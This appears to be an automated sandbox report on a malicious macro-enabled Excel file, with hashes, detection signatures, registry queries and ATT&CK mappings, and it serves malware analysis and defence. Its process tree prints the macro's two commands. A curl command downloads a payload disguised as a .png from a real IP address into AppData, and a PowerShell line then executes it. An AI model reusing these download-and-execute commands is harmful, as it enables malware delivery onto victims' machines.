50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe

General

Target

50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe.xlsm
Size

117KB
MD5

f1e1698ef73827e738bf44328e6cc0aa
SHA1

b72cec166a6f2286766e7a2253802f306a6ec0bc
SHA256

50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe
SHA512

ad968311b1d022b15834d07f17092465c8c4165d9c39649a03568093b6ac4e552848b4ea1e344001a647f56e45024143b25e3f3d9d7af18bb573bc45b445dd36

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3704	652	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3192	652	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

652 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3704 powershell.exe
3704 powershell.exe
3704 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3704 powershell.exe

pid	process
3704	powershell.exe
3704	powershell.exe
3704	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3704	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 652 wrote to memory of 3704	652	EXCEL.EXE	powershell.exe
PID 652 wrote to memory of 3704	652	EXCEL.EXE	powershell.exe
PID 652 wrote to memory of 3192	652	EXCEL.EXE	cmd.exe
PID 652 wrote to memory of 3192	652	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\RgPFG.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3704

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\RgPFG.exe
2⤵
- Process spawned unexpected child process
PID:3192

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/652-122-0x00007FFD10780000-0x00007FFD1186E000-memory.dmp

Filesize
16.9MB

Download
memory/652-116-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/652-117-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/652-118-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/652-121-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/652-115-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/652-123-0x0000029F20EB0000-0x0000029F22DA5000-memory.dmp

Filesize
31.0MB

Download
memory/652-114-0x00007FF7623E0000-0x00007FF765996000-memory.dmp

Filesize
53.7MB

Download
memory/3192-259-0x0000000000000000-mapping.dmp

Download
memory/3704-258-0x0000000000000000-mapping.dmp

Download
memory/3704-265-0x00000203358A0000-0x00000203358A1000-memory.dmp

Filesize
4KB

Download
memory/3704-268-0x000002034E0F0000-0x000002034E0F1000-memory.dmp

Filesize
4KB

Download
memory/3704-271-0x0000020335850000-0x0000020335852000-memory.dmp

Filesize
8KB

Download
memory/3704-273-0x0000020335853000-0x0000020335855000-memory.dmp

Filesize
8KB

Download
memory/3704-286-0x0000020335856000-0x0000020335858000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads